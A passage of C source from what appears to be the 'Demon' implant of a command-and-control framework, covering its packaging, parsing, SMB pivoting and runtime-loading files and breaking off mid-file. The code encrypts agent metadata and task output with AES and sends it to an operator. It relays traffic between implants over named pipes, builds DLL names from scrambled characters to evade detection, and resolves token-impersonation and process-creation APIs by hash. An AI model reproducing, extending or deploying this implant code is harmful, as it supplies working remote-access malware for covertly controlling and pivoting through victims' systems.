); return FALSE; } Current = Instance->CoffeKeyValueStore; while ( Current ) { if ( StringCompareA( Current->Key, key ) == 0 ) { if ( Prev ) { Prev->Next = Current->Next; } else { Instance->CoffeKeyValueStore = Current->Next; } DATA_FREE( Current, sizeof( COFFEE_KEY_VALUE ) ); return TRUE; } Prev = Current; Current = Current->Next; } return FALSE; } // not implemented PDATA_STORE_OBJECT BeaconDataStoreGetItem(SIZE_T index) { PUTS( "BeaconDataStoreGetItem is not implemented" ); return NULL; } // not implemented VOID BeaconDataStoreProtectItem(SIZE_T index) { PUTS( "BeaconDataStoreProtectItem is not implemented" ); return; } // not implemented VOID BeaconDataStoreUnprotectItem(SIZE_T index) { PUTS( "BeaconDataStoreUnprotectItem is not implemented" ); return; } // not implemented SIZE_T BeaconDataStoreMaxEntries() { PUTS( "BeaconDataStoreMaxEntries is not implemented" ); return 0; } // not implemented PCHAR BeaconGetCustomUserData() { PUTS( "BeaconGetCustomUserData is not implemented" ); return NULL; } BOOL toWideChar( char* src, wchar_t* dst, int max ) { SIZE_T Length = 0; Length = CharStringToWCharString(dst, src, max); if (Length == 0) { return FALSE; } return TRUE; } ================================================ FILE: payloads/Demon/src/core/Package.c ================================================ /* Import Core Headers */ #include #include #include #include #include /* Import Crypto Header (enable CTR Mode) */ #define CTR 1 #define AES256 1 #include VOID Int64ToBuffer( PUCHAR Buffer, UINT64 Value ) { Buffer[ 7 ] = Value & 0xFF; Value >>= 8; Buffer[ 6 ] = Value & 0xFF; Value >>= 8; Buffer[ 5 ] = Value & 0xFF; Value >>= 8; Buffer[ 4 ] = Value & 0xFF; Value >>= 8; Buffer[ 3 ] = Value & 0xFF; Value >>= 8; Buffer[ 2 ] = Value & 0xFF; Value >>= 8; Buffer[ 1 ] = Value & 0xFF; Value >>= 8; Buffer[ 0 ] = Value & 0xFF; } VOID Int32ToBuffer( OUT PUCHAR Buffer, IN UINT32 Size ) { ( Buffer ) [ 0 ] = ( Size >> 24 ) & 0xFF; ( Buffer ) [ 1 ] = ( Size >> 16 ) & 0xFF; ( Buffer ) [ 2 ] = ( Size >> 8 ) & 0xFF; ( Buffer ) [ 3 ] = ( Size ) & 0xFF; } VOID PackageAddInt32( _Inout_ PPACKAGE Package, IN UINT32 Data ) { if ( ! Package ) { return; } Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + sizeof( UINT32 ), LMEM_MOVEABLE ); Int32ToBuffer( Package->Buffer + Package->Length, Data ); Package->Length += sizeof( UINT32 ); } VOID PackageAddInt64( PPACKAGE Package, UINT64 dataInt ) { if ( ! Package ) { return; } Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + sizeof( UINT64 ), LMEM_MOVEABLE ); Int64ToBuffer( Package->Buffer + Package->Length, dataInt ); Package->Length += sizeof( UINT64 ); } VOID PackageAddBool( _Inout_ PPACKAGE Package, IN BOOLEAN Data ) { if ( ! Package ) { return; } Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + sizeof( UINT32 ), LMEM_MOVEABLE ); Int32ToBuffer( Package->Buffer + Package->Length, Data ? 1 : 0 ); Package->Length += sizeof( UINT32 ); } VOID PackageAddPtr( PPACKAGE Package, PVOID pointer ) { PackageAddInt64( Package, ( UINT64 ) pointer ); } VOID PackageAddPad( PPACKAGE Package, PCHAR Data, SIZE_T Size ) { if ( ! Package ) return; Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + Size, LMEM_MOVEABLE | LMEM_ZEROINIT ); MemCopy( Package->Buffer + ( Package->Length ), Data, Size ); Package->Length += Size; } VOID PackageAddBytes( PPACKAGE Package, PBYTE Data, SIZE_T Size ) { if ( ! Package ) { return; } PackageAddInt32( Package, Size ); if ( Size ) { Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + Size, LMEM_MOVEABLE | LMEM_ZEROINIT ); MemCopy( Package->Buffer + Package->Length, Data, Size ); Package->Length += Size; } } VOID PackageAddString( PPACKAGE package, PCHAR data ) { PackageAddBytes( package, (PBYTE) data, StringLengthA( data ) ); } VOID PackageAddWString( PPACKAGE package, PWCHAR data ) { PackageAddBytes( package, (PBYTE) data, StringLengthW( data ) * 2 ); } PPACKAGE PackageCreate( UINT32 CommandID ) { PPACKAGE Package = NULL; Package = Instance->Win32.LocalAlloc( LPTR, sizeof( PACKAGE ) ); Package->Buffer = Instance->Win32.LocalAlloc( LPTR, sizeof( BYTE ) ); Package->Length = 0; Package->RequestID = Instance->CurrentRequestID; Package->CommandID = CommandID; Package->Encrypt = TRUE; Package->Destroy = TRUE; Package->Included = FALSE; Package->Next = NULL; return Package; } PPACKAGE PackageCreateWithMetaData( UINT32 CommandID ) { PPACKAGE Package = PackageCreate( CommandID ); PackageAddInt32( Package, 0 ); // package length PackageAddInt32( Package, DEMON_MAGIC_VALUE ); PackageAddInt32( Package, Instance->Session.AgentID ); PackageAddInt32( Package, Package->CommandID ); PackageAddInt32( Package, Package->RequestID ); return Package; } PPACKAGE PackageCreateWithRequestID( UINT32 CommandID, UINT32 RequestID ) { PPACKAGE Package = PackageCreate( CommandID ); Package->RequestID = RequestID; return Package; } VOID PackageDestroy( IN PPACKAGE Package ) { PPACKAGE Pkg = Instance->Packages; if ( Package ) { // make sure the package is not on the Instance->Packages list, avoid UAF while ( Pkg ) { if ( Package == Pkg ) { PUTS_DONT_SEND( "Package can't be destroyed, is on Instance->Packages list" ) return; } Pkg = Pkg->Next; } if ( Package->Buffer ) { MemSet( Package->Buffer, 0, Package->Length ); Instance->Win32.LocalFree( Package->Buffer ); Package->Buffer = NULL; } MemSet( Package, 0, sizeof( PACKAGE ) ); Instance->Win32.LocalFree( Package ); Package = NULL; } } // used to send the demon's metadata BOOL PackageTransmitNow( _Inout_ PPACKAGE Package, OUT PVOID* Response, OUT PSIZE_T Size ) { AESCTX AesCtx = { 0 }; BOOL Success = FALSE; UINT32 Padding = 0; if ( Package ) { if ( ! Package->Buffer ) { PUTS_DONT_SEND( "Package->Buffer is empty" ) return FALSE; } // writes package length to buffer Int32ToBuffer( Package->Buffer, Package->Length - sizeof( UINT32 ) ); if ( Package->Encrypt ) { Padding = sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ); /* only add these on init or key exchange */ if ( Package->CommandID == DEMON_INITIALIZE ) { Padding += 32 + 16; } AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV ); AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding ); } if ( TransportSend( Package->Buffer, Package->Length, Response, Size ) ) { Success = TRUE; } else { PUTS_DONT_SEND("TransportSend failed!") } if ( Package->Destroy ) { PackageDestroy( Package ); Package = NULL; } else if ( Package->Encrypt ) { AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding ); } } else { PUTS_DONT_SEND( "Package is empty" ) Success = FALSE; } return Success; } // don't transmit right away, simply store the package. Will be sent when PackageTransmitAll is called VOID PackageTransmit( IN PPACKAGE Package ) { PPACKAGE List = NULL; UINT32 RequestID = 0; UINT32 Length = 0; if ( ! Package ) { return; } #if TRANSPORT_SMB // if the package is larger than PIPE_BUFFER_MAX, discard it // TODO: support packet fragmentation // size + demon-magic + agent-id + command-id + request-id + // command-id + request-id + buffer-size + Package->Length if ( sizeof( UINT32 ) * 8 + Package->Length > PIPE_BUFFER_MAX ) { PRINTF( "Trying to send a package that is 0x%x bytes long, which is longer than PIPE_BUFFER_MAX, discarding...\n", Package->Length ) RequestID = Package->RequestID; Length = Package->Length; // destroy the package if ( Package->Destroy ) { PackageDestroy( Package ); } // notify the operator that a package was discarded Package = PackageCreateWithRequestID( DEMON_PACKAGE_DROPPED, RequestID ); PackageAddInt32( Package, Length ); PackageAddInt32( Package, PIPE_BUFFER_MAX ); } #endif if ( ! Instance->Packages ) { Instance->Packages = Package; } else { // add the new package to the end of the list (to preserve the order) List = Instance->Packages; while ( List->Next ) { List = List->Next; } List->Next = Package; } } // transmit all stored packages in a single request BOOL PackageTransmitAll( OUT PVOID* Response, OUT PSIZE_T Size ) { AESCTX AesCtx = { 0 }; BOOL Success = FALSE; UINT32 Padding = 0; PPACKAGE Package = NULL; PPACKAGE Pkg = Instance->Packages; PPACKAGE Entry = NULL; PPACKAGE Prev = NULL; #if TRANSPORT_SMB // SMB pivots don't need to send DEMON_COMMAND_GET_JOB // so if we don't having nothing to send, simply exit if ( ! Instance->Packages ) return TRUE; #endif Package = PackageCreateWithMetaData( DEMON_COMMAND_GET_JOB ); // add all the packages we want to send to the main package while ( Pkg ) { #if TRANSPORT_SMB // SMB pivots can't send packages greater than PIPE_BUFFER_MAX if ( Package->Length + sizeof( UINT32 ) * 3 + Pkg->Length > PIPE_BUFFER_MAX ) break; #endif PackageAddInt32( Package, Pkg->CommandID ); PackageAddInt32( Package, Pkg->RequestID ); PackageAddBytes( Package, Pkg->Buffer, Pkg->Length ); Pkg->Included = TRUE; // make sure we don't send a package larger than DEMON_MAX_REQUEST_LENGTH if ( Package->Length > DEMON_MAX_REQUEST_LENGTH ) break; Prev = Pkg; Pkg = Pkg->Next; } // writes package length to buffer Int32ToBuffer( Package->Buffer, Package->Length - sizeof( UINT32 ) ); /* * Header: * [ SIZE ] 4 bytes * [ Magic Value ] 4 bytes * [ Agent ID ] 4 bytes * [ COMMAND ID ] 4 bytes * [ Request ID ] 4 bytes */ Padding = sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ); // encrypt the package AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV ); AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding ); // send it if ( TransportSend( Package->Buffer, Package->Length, Response, Size ) ) { Success = TRUE; } else { PUTS_DONT_SEND("TransportSend failed!") } // decrypt the package AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding ); Entry = Instance->Packages; Prev = NULL; if ( Success ) { // the request worked, remove all the packages that were included while ( Entry ) { if ( Entry->Included ) { // is this the first entry? if ( Entry == Instance->Packages ) { // update the start of the list Instance->Packages = Entry->Next; // remove the entry if required if ( Entry->Destroy ) { PackageDestroy( Entry ); Entry = NULL; } Entry = Instance->Packages; Prev = NULL; } else { if ( Prev ) { // remove the entry from the list Prev->Next = Entry->Next; // remove the entry if required if ( Entry->Destroy ) { PackageDestroy( Entry ); Entry = NULL; } Entry = Prev->Next; } else { // wut? this shouldn't happen PUTS_DONT_SEND( "Failed to cleanup packages list" ) } } } else { Prev = Entry; Entry = Entry->Next; } } } else { // the request failed, mark all packages as not included for next time while ( Entry ) { Entry->Included = FALSE; Entry = Entry->Next; } } PackageDestroy( Package ); Package = NULL; return Success; } VOID PackageTransmitError( IN UINT32 ID, IN UINT32 ErrorCode ) { PPACKAGE Package = NULL; PRINTF_DONT_SEND( "Transmit Error: %d\n", ErrorCode ); Package = PackageCreate( DEMON_ERROR ); PackageAddInt32( Package, ID ); PackageAddInt32( Package, ErrorCode ); PackageTransmit( Package ); } ================================================ FILE: payloads/Demon/src/core/Parser.c ================================================ #include #include #include #include VOID ParserNew( PPARSER parser, PBYTE Buffer, UINT32 size ) { if ( parser == NULL ) return; parser->Original = Instance->Win32.LocalAlloc( LPTR, size ); MemCopy( parser->Original, Buffer, size ); parser->Buffer = parser->Original; parser->Length = size; parser->Size = size; } VOID ParserDecrypt( PPARSER parser, PBYTE Key, PBYTE IV ) { AESCTX AesCtx = { 0 }; if ( parser == NULL ) return; AesInit( &AesCtx, Key, IV ); AesXCryptBuffer( &AesCtx, (PUINT8)parser->Buffer, parser->Length ); } INT16 ParserGetInt16( PPARSER parser ) { INT16 intBytes = 0; if ( parser->Length < 2 ) return 0; MemCopy( &intBytes, parser->Buffer, 2 ); parser->Buffer += 2; parser->Length -= 2; return intBytes; } BYTE ParserGetByte( PPARSER parser ) { BYTE intBytes = 0; if ( parser->Length < 1 ) return 0; MemCopy( &intBytes, parser->Buffer, 1 ); parser->Buffer += 1; parser->Length -= 1; return intBytes; } INT ParserGetInt32( PPARSER parser ) { INT32 intBytes = 0; if ( ! parser ) return 0; if ( parser->Length < 4 ) return 0; MemCopy( &intBytes, parser->Buffer, 4 ); parser->Buffer += 4; parser->Length -= 4; if ( ! parser->Endian ) return ( INT ) intBytes; else return ( INT ) __builtin_bswap32( intBytes ); } INT64 ParserGetInt64( PPARSER parser ) { INT64 intBytes = 0; if ( ! parser ) return 0; if ( parser->Length < 8 ) return 0; MemCopy( &intBytes, parser->Buffer, 8 ); parser->Buffer += 8; parser->Length -= 8; if ( ! parser->Endian ) return ( INT64 ) intBytes; else return ( INT64 ) __builtin_bswap64( intBytes ); } BOOL ParserGetBool( PPARSER parser ) { INT32 intBytes = 0; if ( ! parser ) return 0; if ( parser->Length < 4 ) return 0; MemCopy( &intBytes, parser->Buffer, 4 ); parser->Buffer += 4; parser->Length -= 4; if ( ! parser->Endian ) return intBytes != 0; else return __builtin_bswap32( intBytes ) != 0; } PBYTE ParserGetBytes( PPARSER parser, PUINT32 size ) { UINT32 Length = 0; PBYTE outdata = NULL; if ( ! parser ) return NULL; if ( parser->Length < 4 ) return NULL; MemCopy( &Length, parser->Buffer, 4 ); parser->Buffer += 4; if ( parser->Endian ) Length = __builtin_bswap32( Length ); outdata = ( PBYTE ) parser->Buffer; if ( outdata == NULL ) return NULL; parser->Length -= 4; parser->Length -= Length; parser->Buffer += Length; if ( size != NULL ) *size = Length; return outdata; } PCHAR ParserGetString( PPARSER parser, PUINT32 size ) { return ( PCHAR ) ParserGetBytes( parser, size ); } PWCHAR ParserGetWString( PPARSER parser, PUINT32 size ) { return ( PWCHAR ) ParserGetBytes( parser, size ); } VOID ParserDestroy( PPARSER Parser ) { if ( Parser->Original ) { MemSet( Parser->Original, 0, Parser->Size ); Instance->Win32.LocalFree( Parser->Original ); Parser->Original = NULL; Parser->Buffer = NULL; } } ================================================ FILE: payloads/Demon/src/core/Pivot.c ================================================ #include #include #include #include #include #include /* TODO: Change the way new pivots gets added. * * Instead of appending it to the newest token like: * PivotNew->Next = Pivot * * Add it to the first token (parent): * * Pivot->Next = Instance->SmbPivots; * Instance->SmbPivots = Pivot; * * Might reduce some code which i care more than * pivot order. */ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize ) { PPIVOT_DATA Data = NULL; HANDLE Handle = NULL; PRINTF( "Connecting to named pipe: %ls\n", NamedPipe.Buffer ); Handle = Instance->Win32.CreateFileW( NamedPipe.Buffer, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); if ( Handle == INVALID_HANDLE_VALUE ) { PRINTF( "CreateFileW: Failed[%d]\n", NtGetLastError() ); return FALSE; } if ( NtGetLastError() == ERROR_PIPE_BUSY ) { if ( ! Instance->Win32.WaitNamedPipeW( NamedPipe.Buffer, 5000 ) ) { return FALSE; } } do { // TODO: first get the size then parse if ( Instance->Win32.PeekNamedPipe( Handle, NULL, 0, NULL, BytesSize, NULL ) ) { if ( *BytesSize > 0 ) { PRINTF( "BytesSize => %d\n", *BytesSize ); *Output = Instance->Win32.LocalAlloc( LPTR, *BytesSize ); MemSet( *Output, 0, *BytesSize ); if ( Instance->Win32.ReadFile( Handle, *Output, *BytesSize, BytesSize, NULL ) ) { PRINTF( "BytesSize Read => %d\n", *BytesSize ); break; } else { PRINTF( "ReadFile: Failed[%d]\n", NtGetLastError() ); SysNtClose( Handle ); return FALSE; } } } else { PRINTF( "PeekNamedPipe: Failed[%d]\n", NtGetLastError() ); SysNtClose( Handle ); return FALSE; } } while ( TRUE ); // Adding data to the list { PRINTF( "Pivot :: Output[%p] Size[%d]\n", *Output, *BytesSize ) Data = Instance->Win32.LocalAlloc( LPTR, sizeof( PIVOT_DATA ) ); Data->Handle = Handle; Data->Next = NULL; Data->DemonID = PivotParseDemonID( *Output, *BytesSize ); Data->PipeName.Buffer = Instance->Win32.LocalAlloc( LPTR, NamedPipe.Length ); Data->PipeName.Length = NamedPipe.Length; MemCopy( Data->PipeName.Buffer, NamedPipe.Buffer, NamedPipe.Length ); if ( ! Instance->SmbPivots ) { Instance->SmbPivots = Data; } else { PPIVOT_DATA PivotList = Instance->SmbPivots; do { if ( PivotList ) { if ( PivotList->Next ) PivotList = PivotList->Next; else { PivotList->Next = Data; break; } } else break; } while ( TRUE ); } } return TRUE; } PPIVOT_DATA PivotGet( DWORD AgentID ) { PPIVOT_DATA TempList = Instance->SmbPivots; do { if ( TempList ) { if ( TempList->DemonID == AgentID ) return TempList; TempList = TempList->Next; } else break; } while ( TRUE ); return NULL; } BOOL PivotRemove( DWORD AgentId ) { PRINTF( "Remove pivot %x\n", AgentId ) PPIVOT_DATA TempList = Instance->SmbPivots; PPIVOT_DATA PivotData = PivotGet( AgentId ); BOOL Success = FALSE; if ( ( ! TempList ) || ( ! PivotData ) ) return FALSE; if ( Instance->SmbPivots->DemonID == AgentId ) { PPIVOT_DATA TempNext = Instance->SmbPivots->Next; if ( Instance->SmbPivots->PipeName.Buffer ) { MemSet( Instance->SmbPivots->PipeName.Buffer, 0, Instance->SmbPivots->PipeName.Length ); Instance->Win32.LocalFree( Instance->SmbPivots->PipeName.Buffer ); } if ( Instance->SmbPivots->Handle ) { Instance->Win32.DisconnectNamedPipe( Instance->SmbPivots->Handle ); SysNtClose( Instance->SmbPivots->Handle ); } Instance->SmbPivots->PipeName.Buffer = NULL; Instance->SmbPivots->PipeName.Length = 0; Instance->SmbPivots->Handle = NULL; Instance->SmbPivots->DemonID = 0; MemSet( Instance->SmbPivots, 0, sizeof( PIVOT_DATA ) ); Instance->Win32.LocalFree( Instance->SmbPivots ); Instance->SmbPivots = TempNext; return TRUE; } do { if ( TempList ) { if ( TempList->Next == PivotData ) { TempList->Next = PivotData->Next; if ( PivotData->PipeName.Buffer ) { MemSet( PivotData->PipeName.Buffer, 0, PivotData->PipeName.Length ); Instance->Win32.LocalFree( PivotData->PipeName.Buffer ); } if ( PivotData->Handle ) { Instance->Win32.DisconnectNamedPipe( PivotData->Handle ); SysNtClose( PivotData->Handle ); } PivotData->PipeName.Buffer = NULL; PivotData->PipeName.Length = 0; PivotData->Handle = NULL; PivotData->DemonID = 0; MemSet( PivotData, 0, sizeof( PIVOT_DATA ) ); Instance->Win32.LocalFree( PivotData ); PivotData = NULL; return TRUE; } else TempList = TempList->Next; } else break; } while ( TRUE ); return Success; } DWORD PivotCount() { PPIVOT_DATA TempList = Instance->SmbPivots; DWORD Counter = 0; do { if ( TempList ) { Counter++; TempList = TempList->Next; } else break; } while ( TRUE ); return Counter; } VOID PivotPush() { PPACKAGE Package = NULL; PPIVOT_DATA TempList = Instance->SmbPivots; DWORD BytesSize = 0; DWORD Length = 0; PVOID Output = NULL; ULONG32 NumLoops = 0; /* * For each pivot, we loop up to MAX_SMB_PACKETS_PER_LOOP times * this is to avoid potentially blocking the parent agent */ do { if ( ! TempList ) break; if ( TempList->Handle ) { NumLoops = 0; do { if ( Instance->Win32.PeekNamedPipe( TempList->Handle, NULL, 0, NULL, &BytesSize, NULL ) ) { if ( BytesSize >= sizeof( UINT32 ) ) { if ( Instance->Win32.PeekNamedPipe( TempList->Handle, &Length, sizeof( UINT32 ), NULL, &BytesSize, NULL ) ) { Length = __builtin_bswap32( Length ) + sizeof( UINT32 ); Output = Instance->Win32.LocalAlloc( LPTR, Length ); if ( Instance->Win32.ReadFile( TempList->Handle, Output, Length, &BytesSize, NULL ) ) { Package = PackageCreate( DEMON_COMMAND_PIVOT ); PackageAddInt32( Package, DEMON_PIVOT_SMB_COMMAND ); PackageAddBytes( Package, Output, BytesSize ); PackageTransmit( Package ); DATA_FREE( Output, Length ); } else { PRINTF( "ReadFile: Failed[%d]\n", NtGetLastError() ); DATA_FREE( Output, Length ); break; } } else { PRINTF( "PeekNamedPipe: Failed[%d]\n", NtGetLastError() ); break; } } else break; } else { PRINTF( "PeekNamedPipe: Failed[%d]\n", NtGetLastError() ); if ( NtGetLastError() == ERROR_BROKEN_PIPE ) { PUTS( "ERROR_BROKEN_PIPE. Remove pivot" ) DWORD DemonID = TempList->DemonID; TempList = TempList->Next; BOOL Removed = PivotRemove( DemonID ); PRINTF( "Pivot removed: %s\n", Removed ? "TRUE" : "FALSE" ) /* Report if we managed to remove the selected pivot */ Package = PackageCreate( DEMON_COMMAND_PIVOT ); PackageAddInt32( Package, DEMON_PIVOT_SMB_DISCONNECT ); PackageAddInt32( Package, Removed ); PackageAddInt32( Package, DemonID ); PackageTransmit( Package ); break; } PACKAGE_ERROR_WIN32 break; } NumLoops++; } while ( NumLoops < MAX_SMB_PACKETS_PER_LOOP ); } // select the next pivot if ( TempList ) TempList = TempList->Next; } while ( TRUE ); } UINT32 PivotParseDemonID( PVOID Response, SIZE_T Size ) { PARSER Parser = { 0 }; UINT32 Value = 0; ParserNew( &Parser, Response, Size ); ParserGetInt32( &Parser ); ParserGetInt32( &Parser ); Value = __builtin_bswap32( ParserGetInt32( &Parser ) ); PRINTF( "Parsed DemonID => %x\n", Value ); ParserDestroy( &Parser ); return Value; } ================================================ FILE: payloads/Demon/src/core/Runtime.c ================================================ #include #include #include BOOL RtAdvapi32( VOID ) { CHAR ModuleName[ 13 ] = { 0 }; ModuleName[ 0 ] = HideChar('A'); ModuleName[ 2 ] = HideChar('V'); ModuleName[ 11 ] = HideChar('L'); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 3 ] = HideChar('A'); ModuleName[ 8 ] = HideChar('.'); ModuleName[ 12 ] = HideChar('\0'); ModuleName[ 6 ] = HideChar('3'); ModuleName[ 7 ] = HideChar('2'); ModuleName[ 1 ] = HideChar('D'); ModuleName[ 9 ] = HideChar('D'); ModuleName[ 5 ] = HideChar('I'); ModuleName[ 4 ] = HideChar('P'); if ( ( Instance->Modules.Advapi32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.GetTokenInformation = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETTOKENINFORMATION ); Instance->Win32.CreateProcessWithTokenW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CREATEPROCESSWITHTOKENW ); Instance->Win32.CreateProcessWithLogonW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CREATEPROCESSWITHLOGONW ); Instance->Win32.RevertToSelf = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_REVERTTOSELF ); Instance->Win32.GetUserNameA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETUSERNAMEA ); Instance->Win32.LogonUserW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOGONUSERW ); Instance->Win32.LookupPrivilegeValueA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGEVALUEA ); Instance->Win32.LookupAccountSidA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDA ); Instance->Win32.LookupAccountSidW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDW ); Instance->Win32.OpenThreadToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_OPENTHREADTOKEN ); Instance->Win32.OpenProcessToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_OPENPROCESSTOKEN ); Instance->Win32.AdjustTokenPrivileges = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ADJUSTTOKENPRIVILEGES ); Instance->Win32.LookupPrivilegeNameA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGENAMEA ); Instance->Win32.SystemFunction032 = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SYSTEMFUNCTION032 ); Instance->Win32.FreeSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_FREESID ); Instance->Win32.SetSecurityDescriptorSacl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORSACL ); Instance->Win32.SetSecurityDescriptorDacl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORDACL ); Instance->Win32.InitializeSecurityDescriptor = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_INITIALIZESECURITYDESCRIPTOR ); Instance->Win32.AddMandatoryAce = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ADDMANDATORYACE ); Instance->Win32.InitializeAcl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_INITIALIZEACL ); Instance->Win32.AllocateAndInitializeSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ALLOCATEANDINITIALIZESID ); Instance->Win32.CheckTokenMembership = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CHECKTOKENMEMBERSHIP ); Instance->Win32.SetEntriesInAclW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETENTRIESINACLW ); Instance->Win32.SetThreadToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETTHREADTOKEN ); Instance->Win32.LsaNtStatusToWinError = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LSANTSTATUSTOWINERROR ); Instance->Win32.EqualSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_EQUALSID ); Instance->Win32.ConvertSidToStringSidW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CONVERTSIDTOSTRINGSIDW ); Instance->Win32.GetSidSubAuthorityCount = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITYCOUNT ); Instance->Win32.GetSidSubAuthority = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITY ); PUTS( "Loaded Advapi32 functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Advapi32" ) return FALSE; } return TRUE; } // we delay loading mscoree.dll BOOL RtMscoree( VOID ) { CHAR ModuleName[ 12 ] = { 0 }; if ( Instance->Win32.CLRCreateInstance ) return TRUE; ModuleName[ 1 ] = HideChar('S'); ModuleName[ 2 ] = HideChar('C'); ModuleName[ 11 ] = HideChar(0); ModuleName[ 0 ] = HideChar('M'); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 8 ] = HideChar('D'); ModuleName[ 7 ] = HideChar('.'); ModuleName[ 9 ] = HideChar('L'); ModuleName[ 5 ] = HideChar('E'); ModuleName[ 4 ] = HideChar('R'); ModuleName[ 6 ] = HideChar('E'); ModuleName[ 3 ] = HideChar('O'); if ( ( Instance->Modules.Mscoree = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.CLRCreateInstance = LdrFunctionAddr( Instance->Modules.Mscoree, H_FUNC_CLRCREATEINSTANCE ); PUTS( "Loaded Mscoree functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Mscoree" ) return FALSE; } return TRUE; } BOOL RtOleaut32( VOID ) { CHAR ModuleName[ 13 ] = { 0 }; ModuleName[ 3 ] = HideChar('A'); ModuleName[ 2 ] = HideChar('E'); ModuleName[ 0 ] = HideChar('O'); ModuleName[ 1 ] = HideChar('L'); ModuleName[ 5 ] = HideChar('T'); ModuleName[ 11 ] = HideChar('L'); ModuleName[ 7 ] = HideChar('2'); ModuleName[ 6 ] = HideChar('3'); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 12 ] = HideChar(0); ModuleName[ 4 ] = HideChar('U'); ModuleName[ 9 ] = HideChar('D'); ModuleName[ 8 ] = HideChar('.'); if ( ( Instance->Modules.Oleaut32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.SafeArrayAccessData = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYACCESSDATA ); Instance->Win32.SafeArrayUnaccessData = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYUNACCESSDATA ); Instance->Win32.SafeArrayCreate = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYCREATE ); Instance->Win32.SafeArrayPutElement = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYPUTELEMENT ); Instance->Win32.SafeArrayCreateVector = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYCREATEVECTOR ); Instance->Win32.SafeArrayDestroy = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYDESTROY ); Instance->Win32.SysAllocString = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SYSALLOCSTRING ); PUTS( "Loaded Oleaut32 functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Oleaut32" ) return FALSE; } return TRUE; } BOOL RtUser32( VOID ) { CHAR ModuleName[ 11 ] = { 0 }; ModuleName[ 1 ] = HideChar('S'); ModuleName[ 0 ] = HideChar('U'); ModuleName[ 10 ] = HideChar(0); ModuleName[ 6 ] = HideChar('.'); ModuleName[ 8 ] = HideChar('L'); ModuleName[ 7 ] = HideChar('D'); ModuleName[ 5 ] = HideChar('2'); ModuleName[ 3 ] = HideChar('R'); ModuleName[ 9 ] = HideChar('L'); ModuleName[ 2 ] = HideChar('E'); ModuleName[ 4 ] = HideChar('3'); if ( ( Instance->Modules.User32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.ShowWindow = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_SHOWWINDOW 